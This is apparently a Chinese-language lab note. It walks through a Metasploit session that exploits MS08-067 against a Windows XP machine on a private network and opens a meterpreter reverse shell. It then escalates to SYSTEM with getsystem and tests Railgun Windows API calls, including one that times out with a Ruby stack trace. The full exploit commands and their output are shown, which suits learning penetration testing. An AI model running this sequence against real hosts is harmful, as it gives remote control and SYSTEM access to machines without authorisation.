metasploit通过附加的Railgun组件操作Windows API
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set TARGET 41 TARGET => 41 msf exploit(ms08_067_netapi) > setg LHOST 192.168.1.11 LHOST => 192.168.1.11 msf exploit(ms08_067_netapi) > setg LPORT 8080 LPORT => 8080 msf exploit(ms08_067_netapi) > setg RHOST 192.168.1.142 RHOST => 192.168.1.142 msf exploit(ms08_067_netapi) > exploit -z [*] Started reverse handler on 192.168.1.11:8080 [*] Attempting to trigger the vulnerability... [*] Sending stage (752128 bytes) to 192.168.1.142 [*] Meterpreter session 1 opened (192.168.1.11:8080 -> 192.168.1.142:1081) at 2013-04-28 10:34:29 -0400 [*] Session 1 created in the background. msf exploit(ms08_067_netapi) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 192.168.1.11:8080 -> 192.168.1.142:1081 (192.168.1.142) msf exploit(ms08_067_netapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter > irb [*] Starting IRB shell [*] The 'client' variable holds the meterpreter client >> client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")
在XP上等了很长时间，也没看到弹出来的helloworld的窗口，然后报错，超时了：
Rex::TimeoutError: Operation timed out.
from /opt/metasploit/msf3/lib/rex/post/meterpreter/packet_dispatcher.rb:191:in `send_request'
from /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb:261:in `process_function_call'
from /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb:84:in `call_function'
from /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb:24:in `method_missing'
from (irb):1:in `cmd_irb'
from /opt/metasploit/msf3/lib/rex/ui/text/irb_shell.rb:49:in `block in run'
from /opt/metasploit/msf3/lib/rex/ui/text/irb_shell.rb:48:in `catch'
from /opt/metasploit/msf3/lib/rex/ui/text/irb_shell.rb:48:in `run'
from /opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:318:in `cmd_irb'
from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:420:in `run_command'
from /opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console.rb:104:in `run_command'
from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:382:in `block in run_single'
from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:376:in `each'
from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:376:in `run_single'
from /opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console.rb:68:in `block in interact'
from /opt/metasploit/msf3/lib/rex/ui/text/shell.rb:190:in `call'
from /opt/metasploit/msf3/lib/rex/ui/text/shell.rb:190:in `run'
from /opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console.rb:66:in `interact'
from /opt/metasploit/msf3/lib/msf/base/sessions/meterpreter.rb:431:in `_interact'
from /opt/metasploit/msf3/lib/rex/ui/interactive.rb:49:in `interact'
from /opt/metasploit/msf3/lib/msf/ui/console/command_dispatcher/core.rb:1595:in `cmd_sessions'
from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:420:in `run_command'
from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:382:in `block in run_single'
from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:376:in `each'
from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:376:in `run_single'
from /opt/metasploit/msf3/lib/rex/ui/text/shell.rb:200:in `run'
from /opt/metasploit/msf3/msfconsole:143:in `<main>'>>
另外，输入其他的命令：
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> client.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "return"=>true}
>>
我估计，并非每个Windows API都可以用。
RailgunUsage:
http://dev.metasploit.com/redmine/projects/framework/wiki/RailgunUsage
bt5上就有Railgun的参考手册：
/opt/metasploit/msf3/external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun_manual.pdf